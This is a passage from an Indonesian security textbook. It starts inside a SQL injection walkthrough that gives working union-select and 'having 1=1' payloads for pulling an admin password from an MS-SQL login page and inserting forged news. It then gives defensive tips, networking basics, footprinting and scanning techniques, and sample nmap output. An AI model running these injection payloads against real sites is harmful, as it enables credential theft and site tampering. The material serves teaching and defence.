Microsoft OLE DB Provider for ODBC Drivers (080040E07) [Microsoft][ODBC SQL Server Driver][SQL
Server]Syntax error converting the varchar value bill to a column of data type int. /sipm/admin/dologin.asp,
line 7
Halaman | 41


Anda lihat :
varchar value bill bill itu adalah nama user di record yang terakhir dimasukkan, atau isi kolom NAMA di
record yang terakhir dimasukkan.
Selanjutnya kita inject :
union select min(PASSWORD),1,1,1,1,1,1 from T_ADMIN where NAMA = bill
catatan : harus sebaris (tidak dipotong). Akan keluar error :

Microsoft OLE DB Provider for ODBC Drivers (080040E07) [Microsoft][ODBC SQL Server Driver][SQL
Server]Syntax error converting the nvarchar value m@mpusk@u to a column of data type int.
/sipm/admin/dologin.asp, line 7

Artinya kita berhasil !!!


Kita dapatkan
[+] NAMA = bill
[+] PASSWORD = m@mpusk@u
Silahkan login ke :
www.victim.com/sipm/admin/admin.asp
dengan account di atas, sedang nama cabang, silahkan anda
isi sendiri dengan cara coba-coba :(
Atau kita pakai jalan pintas saja.
Kita inject-kan :
union select min(KD_RANTING),1,1,1,1,1,1 from T_ADMIN where NAMA =bill
catatan : harus satu baris.
Langsung masuk ke menu admin.
Ingat : jangan buat kerusakan ! beritahu sang admin !!!
Lubang ke dua adalah pada bagian berita. Pada dasarnya berita di situ adalah isi dari tabel yang lain lagi. Jadi
tetep bisa kita inject !!!
Bedanya, kita harus memasukkan parameter di alamat URL-nya. Contoh :
www.victim.com/dari_Media.asp?id=2119&idm=40&idSM=2 ada parameter id dan idSM.
Setelah kita coba inject, ternyata yang berpengaruh adalah parameter id aja (CMIIW).
Kita inject-kan :
www.victim.com/dari_Media.asp?id=2119 having 1=1
akan keluar pesan error :

Microsoft OLE DB Provider for ODBC Drivers (080040E14) [Microsoft][ODBC SQL Server Driver][SQL
Server]Column tb_news.NewsId is invalid in the select list because it is not contained in an aggregate function
and there is no GROUP BY clause. /dari_Media.asp, line 58

artinya tb_news.NewsId itulah nama tabel dan kolom kita yang pertama.
Ulangi langkah-langkah kita di atas sampai didapatkan :
tb_news.NewsId => numeric
tb_news.NewsCatId => numeric
tb_news.EntryDate => datetime
tb_news.Title => nvarchar
tb_news.Content =>
tb_news.FotoLink =>
tb_news.FotoType => bit data
tb_news.review =>
tb_news.sumber => char
tb_news.dateagenda => datetime
Nah, selanjutnya adalah tugas anda sendiri untuk mengembangkan pengetahuan anda. Anda bisa men-insert
berita yang bisa anda tentukan sendiri isinya.
Halaman | 42

Inilah mengapa hole di MS-SQL Server ini demikian berbahaya.


Perkiraan saya, nama-nama partai di situs KPU yang di-hack oleh Shizoprenic, juga ada di tabel-tabel suatu
database, jadi tetap bisa dimasuki dengan cara SQL Injection ini.
******************************************************
KHUSUS BUAT ADMIN & WEB PROGRAMMER !!!
******************************************************
Cara pencegahan yang umum digunakan :
1. Batasi panjang input box (jika memungkinkan), dengan cara membatasinya di kode program, jadi si cracker
pemula akan bingung sejenak melihat input box nya gak bisa di inject dengan perintah yang panjang.
2. Filter input yang dimasukkan oleh user, terutama penggunaan tanda kutip tunggal (Input Validation).
3. Matikan atau sembunyikan pesan-pesan error yang keluar dari SQL Server yang berjalan.
4. Matikan fasilitas-fasilitas standar seperti Stored Procedures, Extended Stored Procedures jika
memungkinkan.
5. Ubah Startup and run SQL Server menggunakan low privilege user di SQL Server Security tab.
Sumber :
http://www.sekuritionline.net/plugins/p2_news/printarticle.php?p2_articleid=7

Halaman | 43

8 PENGAMANAN JARINGAN
8.1 KONSEP JARINGAN

Gambar 8.1 Jaringan sederhana


Pada gambar di atas menunjukan bentuk jaringan sederhana sebagai dua peralatan terhubung melewatkan
beberapa media oleh perangkat keras dan perangkat lunak yang menyebabkan terjadinya komunikasi. Situasisituasi yang ada pada jaringan adalah:

Peralatan sederhana client, yang digunakan untuk komunikasi user-ke-komputer, biasanya adalah sebuah
PC atau workstation, sehingga client mempunyai tempat penyimpanan dan kemampuan pemrosesan.

Jaringan dikonfigurasikan sebagai client tunggal saja yang terhubung ke server tunggal. Namun umunya
banyak client berinteraksi dengan banyak server.

Pelayanan jaringan sering disediakan oleh banyak computer. Sebagi pengguna komunikasi tunggal
melakukan hubungan bolak-balik dari client ke server, memungkinkan untuk pelewatan melalui beberapa
computer tetapi menghentikan sementara pihak lainnya untuk interaksi signifikan.

System komputasi tunggal dalam jaringan biasanya disebut dengan node dan processor (computer) disebut
host. Hubungan antara dua host diketahui sebagai sebuah link. Workstation adalah peralatan computer enduser , biasanya dirancang untuk user tunggal. Cara jaringan dikonfigurasi dalam unsure node dan koneksinya
disebut dengan topology jaringan.

Gambar 8.2 Jaringan yang lebih kompleks


Beberapa karakteristik umum jaringan adalah:
Anonymity (sesuatu tanpa nama), sebuah jaringan menghilangkan sebagian besar petunjuk, seperti appearance
(rupa), suara, atau konteks, dengan mana kita mengenali acquaintances (kenalan).
Automation (otomatisasi). Beberapa jaringan, satu atau kedua endpoint, demikian pula semua titik intermediate
(antara), dilibatkan dalam komunikasi yang diberikan oleh mesin dengan hanya pengawasan manusia yang
minimal.
Distance (jarak). Banyak jaringan yang terhubung endpoint secara fisik jauh terpisah.
Opaqueness (tidak tembus). Karena dimensi jarak disembunyikan, user tidak dapat memberitahukan apakah
remote host berada dalam ruang sebelah atau dalam daerah yang berbeda.
Halaman | 44

Routing diversity (Keanekaragaman route). Untuk pemeliharaan atau menambah kepercayaan dan kinerja,
routing antara dua endpoint biasanya dinamis. Yaitu interaksi yang sama dapat mengikuti salah satu jalur
melalui jaringan kali pertamanya dan jalur yang berbeda di kali keduanya.
Tiga dimensi jaringan yang secara pasti berhubungan dengan kemanan jaringan adalah:
1. Boundary (batasan). Batasan membedakan elemen jaringan dari elemen diluarnya.
2. Ownership (kepemilikan). Sangat sulit untuk mengetahui siapa pemilik dari setiap host dalam jaringan.
3. Control. Jika kepemilikan tidak jelas, control harus ada.
Model Referensi OSI
Layer

Name

Activity

Application

User-level data

Presentation Standardized data appearance, blocking, text compression

Session

Sessions or logical connections between parts of an application; message sequencing,


recovery

Transport

Flow control, end-to-end error detection and correction, priority service

Network

Routing, message blocking into uniformly sized packets

Data Link

Reliable data delivery over physical medium; transmission error recovery, separating
packets into uniformly sized frames

Physical

Actual communication across physical medium; individual bit transmission

Kontribusi-kontribusi setiap layer pada referensi OSI:

Layer 6 memecahkan data pesan asli menjadi blok-blok


Pada session (layer 5) session header ditambahkan untuk menampilkan pengirim, penerima dan beberapa
rangkaian informasi lainnya.
Layer 4 menambah informasi mengenai koneksi logis antara pengirim dan penerima
Layer 3 menambah informasi routing dan membagi pesan menjadi unit yang disebut paket (packet), standar
unit komunikasi dalam jaringan
Layer data link (2) menambahkan header dan trailer untuk menyakinkan rangkaian yang benar dari blokblok pesan dan mendeteksi dan memperbaiki kesalahan pengiriman
Bit-bit individu pada pesan dan informasi pengontrol ditransmisikan dalam media fisik oleh level 1

TCP/IP (Transmission Control Protocol/Internet Protocol) merupakan protocol bertumpuk yang digunakan
untuk kebanyakan komunikasi wide area network. TCP/IP didefinisikan oleh protocol-protocol, bukan layer,
namun dapat kita jadikan menjadi empat lapis: application, host-to-host (end-to-end) transport, internet dan
physical. Walaupun TCP/IP sering digunakan sebagai bentuk tunggal, kenyataannya menunjukkan dua protocol
Halaman | 45

yang berbeda: TCP mengimplementasi session komunikasi atas yang terhubung dalam banyak protocol transport
IP dasar. Faktanya, protocol ketiga, UDP (user datagram protocol) juga bagian yang diperlukan dari deretan.
Layer transport menerima pesan-pesan variable-length dari lapisan aplikasi. Layer transport memecahnya
menjadi unit-unit ukuran yang dapat diatur, dikirm dalam paket (packet). Layer internet mengirim paket
lapisan aplikasi dalam bentuk datagram, melewatkannya ke koneksi fisik yang berbeda berdasarkan pada
tujuan data (disediakan dalam alamat yang menampingi data). Lapisan fisik terdiri dari device driver untuk
melakukan komunikasi data bit per bit.
Layer

Action

Responsibilities

Application Prepare messages from

user interactions User interaction, addressing

Transport

Convert messages to packets

Sequencing, reliability (integrity), error correction

Internet

Convert packets to datagrams

Flow control, routing

Physical

Transmit datagrams as individual bits Data communication

Protocol UDP lebih cepat dan kecil dibandingkan dengan TCP, karena UDP tidak menyediakan pemeriksaan
kesalahan pengiriman dan perbaikan seperti halnya pada TCP. Paket TCP merupakan struktur data yang terdiri
dari nomor urutan, nomor acknowledgment untuk menghubungkan paket pada session komunikasi, flag, sumber
dan tujuan nomor port (nomor yang menunjukkan keterangan aplikasi yang berjalan pada komputer).
Pelayanan internet:
Layer

TCP Protocols

UDP Protocols

Application
Protocol

SMTP (Simple Mail Transfer Protocol): used for


communicating e-mail
HTTP (Hypertext Transfer Protocol): used for
communicating web pages
FTP (File Transfer Protocol): used for receiving or
sending files
Telnet (Terminal Emulation Protocol): used for
performing remote operations as if directly connected
to the host from a terminal and others

SNMP (Simple Network Monitoring


Protocol): used for controlling network
devices
Syslog (System Audit Log): used for
entering records in the system log
Time: used for communicating and
synchronizing time among network
devices and others

Transport

TCP

UDP

Internet

IP

IP

Physical

Data communication

Data communication

8.1.1 TIPE-TIPE JARINGAN


Local Area Network (LAN) menjangkau jarak yang dekat, umumnya di dalam gedung. Biasanya LAN
menghubungkan beberapa peralatan kecil seperti PC, printer dan peralatan penyimpanan file.

Halaman | 46

Karakteristik-karakteristik LAN:

Kecil. Umunya tidak kurang dari 100 user yang terhubung dalam sebuah LAN, dengan jarak kurang dari 3
km atau 2 mil.
Terkontrol secara lokal. Perlengkapan dimiliki dan diatur oleh sebuah organisasi.
Terlindungi secara fisik. LAN berada dalam lingkungan kerja sebuah perusahaan atau organisasi, sehingga
pihak asing yang berbahaya biasanya tidak dapat mencapai peralatan LAN
Ruang lingkup terbatas. Banyak LAN mendukung sebuah group, departemen, lantai, aktifitas, atau geografis
lainnya atau unit administrative.

WAN (Wide Area Network) berbeda dari LAN dalam ukuran dan jarak (jangkauan lebih luas membentang secara
geografis lebih luas dari LAN) serta control atau kepemilikan. Karakteristik WAN umumnya adalah:

Kontrol tunggal. Umumnya sebuah organisasi dapat merespon dan mengontrol WAN. Bahkan jika jaringan
di-share oleh beberapa subscriber (langganan) yang tidak terhubung, satu organisasi biasanya menentukan
siapa saja yang bergabung dalam jaringan.
Mencakup jarak yang signifikan. Jarak yang lebih luas dari LAN
Secara fisik diarahkan (sering, tapi tidak selalu). Sebagian besar jaringan WAN menggunakan media
komunikasi yang disediakan secara public, dimana menjadi target relative. Bagaimanapun, faktanya bahwa
banyak subscriber (langganan) saling berbagi media tersebut membantu perlindungan kerahasiaan
subscriber lainnya.

Internetwork (Internet) menghubungkan dua atau lebih jaringan-jaringan yang terpisah baik dalam pengelolaan
ataupun pengontrolan yang terpisah. Kenyataannya Internet secara bebas dikontrol oleh Internet Society (ISOC)
dan Internet Corporation for Assigned Names and Number (ICANN). Organisasi tersebut menentukan aturan
permainan untuk menyakinkan bahwa semua user diperlakukan dengan pantas dan mereka mendukung standar
protocol sehingga user-user dapat berkomunikasi.
Karakteristik-karateristik Internet:
Federasi. Hampir tidak ada pernyataan umum yang dapat dibuat tentang pengguna Internet atau bahkan
penyedia pelayanan jaringan (ISP). Beberapa dapat mengakses jaringan melalui organisasi bisnis atau
pemerintahan dimana keanggotaannya sangat terbatas, sedangkan lainnya dapat memperoleh akses dengan
hanya membayar setiap bulannya.
Enormous (besar). Tidak seorang pun tahu seberapa besar Internet.
Heterogen (beraneka ragam). Mungkin setidaknya satu dari berbagai macam hardware dan software
komersial tersedia yang terhubung ke Internet
Secara fisik dan logis diarahkan. Sejak tidak ada control akses global, prakteknya beberak penyerang dapat
mengakses internet, dan karena koneksi yang kompleks, menjangkau secara praktir berbagai sumber daya
dalam jaringan.

8.2 ANCAMAN DALAM JARINGAN


Apa yang menyebabkan lemahnya jaringan:
Anonymity (Nama-nama yang tidak jelas)
Banyak titik serang target atau sumber
Sharing (berbagi pakai)
System yang kompleks
Perimeter yang tidak diketahui
Jalur yang tidak diketahui
Motifasi para penyerang jaringan:
Tantangan
Ketenaran atau popularitas
Uang
Ideologi

Halaman | 47

8.3 TEKNIK-TEKNIK PENYERANGAN


8.3.1 FOOTPRINTING
Footprinting merupakan langkah awal yang dilakukan penyerang dengan mencari berbagai macam informasi
maupun identifikasi sistem yang akan diserangnya. Teknik-teknik yang dilakukan menyesuaikan teknologiteknologi yang digunakan.
Technology
Internet

Identifies
Domain Name
Network blocks
Specific IP addresses of systems reachable via the Internet
TCP and UDP services running on each system identified
System architecture (for example, SPARC vs. X86)
Access control mechanisms and related access control lists (ACLs)
Intrusion detection systems (IDSes)
System enumeration (user- and group names, system banners, routing tables, SNMP
information)
Intranet
Networking protocols in use (for example, IP, IPX, DecNET,and so on)
Internal domain names
Network blocks
Specific IP addresses of systems reachable via the intranet
TCP and UDP services running on each system identified
System architecture (for example SPARC vs. X86)
Access control mechanisms and related access control lists (ACLs)
Intrusion detection systems
System enumeration (user- and group names, system banners, routing tables, SNMP
information)
Remote Access Analog/digital telephone numbers
Remote system type
Authentication mechanisms
Extranet
Connection origination and destination
Type of connection
Access control mechanism

Langkah-langkah melakukan Footprinting:


1. Menentukan ruang lingkup aktifitas footprinting. Misalnya melakukan pencarian informasi yang di lokasi
yang ditentukan dengan membatasi aktifitas daripada melakukan pencarian ke seluruh organisasi.
2. Mendapatkan otorisasi yang tepat
3. Mencari informasi-informasi yang tersedia secara umum, misalnya web page perusahaan, organisasi yang
berhubungan, rincian lokasi, nomor telepon, alamat email dan lain sebagainya.
4. Whois & DNS Enumeration. Langkah pertama dalam tahapan ini dalah mengidentifikasi nama dan jaringan
asosiasi yang terhubung dalam organisasi. Organisasi semacam ICANN (Internet Corporation for Assigned
Names and Numbers; http://www.icann.org) merupakan organisasi yang mengatur fungsi pemberian IP dan
nama dalam jaringan Internet. Untuk mendapatkan identifikasi target dapat dilakukan dengan bantuan tooltool seperti WSPing, Propack, SamSpade.org (Web Interface), Netscan.
5. DNS Interrogation. Melakukan query terhadap DNS target untuk mendapatkan informasi yang lebih rinci
lagi.
6. Memata-matai Jaringan. Cara ini dapat menentukan topology jaringan yang digunakan target dengan
menggunakan tool seperti traceroute.

8.3.2 SCANNING
Proses scanning dapat diumpamakan seperti mencari pintu-pintu atau jendela-jendela yang dapat kita lalui agar
dapat memasuki sistem target. Langkah-langkah dari scanning adalah:
Menentukan bahwa sistem dalam keadaan menyala, dapat menggunakan beberapa tool seperti nmap dan
superscan.

Halaman | 48

Menentukan apakah aplikasi service dalam keadaan running atau listening dapat dilakukan dengan cara port
scanning. Tool yang dapat digunakan antara lain adalah strobe (TCP scanning), udp_scan, netcat, nmap,
superscan, wups (Windows UDP Port Scanner), ScanLine.
Mendeteksi sistem operasi yang digunakan oleh target dengan cara aktif (melakukan pengiriman paket ke
setiap sistem) atau pasif (melakukan monitoring). Cara mencari informasi tersebut dapat dilakukan via FTP,
Telnet, HTTP, SMTP, atau dapat juga menggunakan tool seperti nmap dan queso. Teknik yang lebih akurat
lagi yaitu stack fingerprint (suatu teknologi yang membolehkan mengetahui setiap sistem operasi host
dengan derajat probabilitas yang tinggi).

8.3.3 ENUMERATION
Enumeration melibatkan koneksi-koneksi yang aktif dan melakukan query secara langsung. Teknik-teknik
enumeration antara lain adalah:
Basic Banner Grabbing yaitu sebagai penghubung ke aplikasi remote dan mengamati keluarannya, dan hal
tersebut dapat menjadi informasi kejutan ke remote attacker. Tool yang digunakan misalnya telnet dan
netcat.
Enumerasi pelayanan-pelayan umum jaringan. Misalnya enumerasi FTP (TCP 21), Telnet (TCP 23), SMTP
(TCP 25), DNS (TCP/UDP 53) dan lain sebagainya.

Halaman | 49

9 PENGAMANAN WEB
Web dikonstruksi dari program khusus yang disebut Web Servers yang menyediakan informasi dalam jaringan.
Program lain (Web Browser) digunakan untuk dapat mengakses informasi yang disimpan dalam server dan
menampilkannya ke dalam layar user.
Program yang diletakkan dibelakang halaman web dibuat dengan protokol yang disebut Common Gateway
Interface (CGI).
Beberapa tantangan dalam keamanan web antara lain adalah:
Penyerang mungkin saja dapat menelusuri bug dalam web server atau dalam skrip CGI untuk mendapatkan
akses yang tidak ter-otorisasi terhadap file-file dalam sistem, atau mengontrol seluruh sistem
Informasi-informasi penting dalam web server memungkinkan didistribusikan ke individu tidak terotorisasi.
Informasi-informasi penting yang ditransmisikan antara web server dan browser dapat di-intercept.
Bug dalam web browser dapat membolehkan info penting dalam web client akan diperoleh dari web server
yang buruk.
Ancaman dan Kelemahan Web
Dua kategori yang menjadi kelemahan web adalah:
1. Kelemahan melalui platform misal Linux, Windows, Apache dan Oracle
2. Target kelemahan dari aplikasi itu sendiri seperti kesalahan pada pemrograman aplikasi web itu sendiri.
Komponen-komponen yang membangun aplikasi web adalah:
Web server: komponen ini melayani halaman-halaman web yang akan ditujukan bagi browser user.
Misalnya Apache dan IIS.
Application Server: komponen ini memanipulasi, menerjemahkan dan menyajikan data bagi user. Aplikasi
server dapat berupa bagian dari web server misalnya PHP dan Apache atau Asp.NET dan IIS. Di lain pihak
ada yang secara fisik server terpisah misalnya mesin Tomcat servlet.
Database: komponen ini menyimpan semua data yang dibutuhkan oleh aplikasi. Sedangkan pengguna
berinteraksi dengan we dan aplikasi server.
Beberapa pelanggaran-pelanggaran umum yang mengancam keamanan web adalah:
Mengakses rincian subcriber untuk mengirim spam e-mail
Akses yang tidak berhak dari data penting untuk membuat identitas palsu
Mengintai jaringan secara diam-diam
Mempromosikan suatu organisasi kepada web site orang lain
Menggunakan skrip otomatis untuk mencoba log in ke sistem komputer
Memperoleh akses tidak sah ke server mail
Memperoleh akses tidak sah ke jaringan untuk mendapatkan informasi
Serangan virus
DNS hijacking (pembajakan)
Serangan DoS (Denial of Service)
Serangan DdoS (Distributed DoS)
Tipe-tipe ancaman:
Ancaman akibat kecelakaan
Ancaman software berbahaya (malware)
Ancaman otorisasi
Ancaman aplikasi
Ancaman privacy
Ancaman kontrol akses

9.1 PORT SCANNING DAN INDENTIFIKASI PELAYANAN


Tool yang umum sebagai port scanner yaitu nmap yang berbasis Unix walaupun ada juga yang telah disesuaikan
dengan paltform Windows. Contohnya:
Halaman | 50

[localhost:~]% nmap 192.168.0.43


Starting nmap V. 3.20 ( www.insecure.org/nmap/ )
Interesting ports on target (192.168.0.42):
(The 1596 ports scanned but not shown below are in state: closed)
Port State Service
22/tcp open ssh
80/tcp open http
Nmap run completed -- 1 IP address (1 host up) scanned in 0.481 seconds
Scanline merupakan port scanner berbasis Windows yang lebih sederhana dibandingkan Nmap yang mesti
menginstall lagi driver WinPCAP.
C:\>sl bp o website.sl 192.168.0.43
192.168.0.43
TCP ports: 80
UDP ports:
TCP 80:
[HTTP/1.0 200 OK Connection: Keep-Alive Date: Wed, 19 Mar 2003 00:18 :38 GMT
Set-Cookie:]

Halaman | 51

Anda mungkin juga menyukai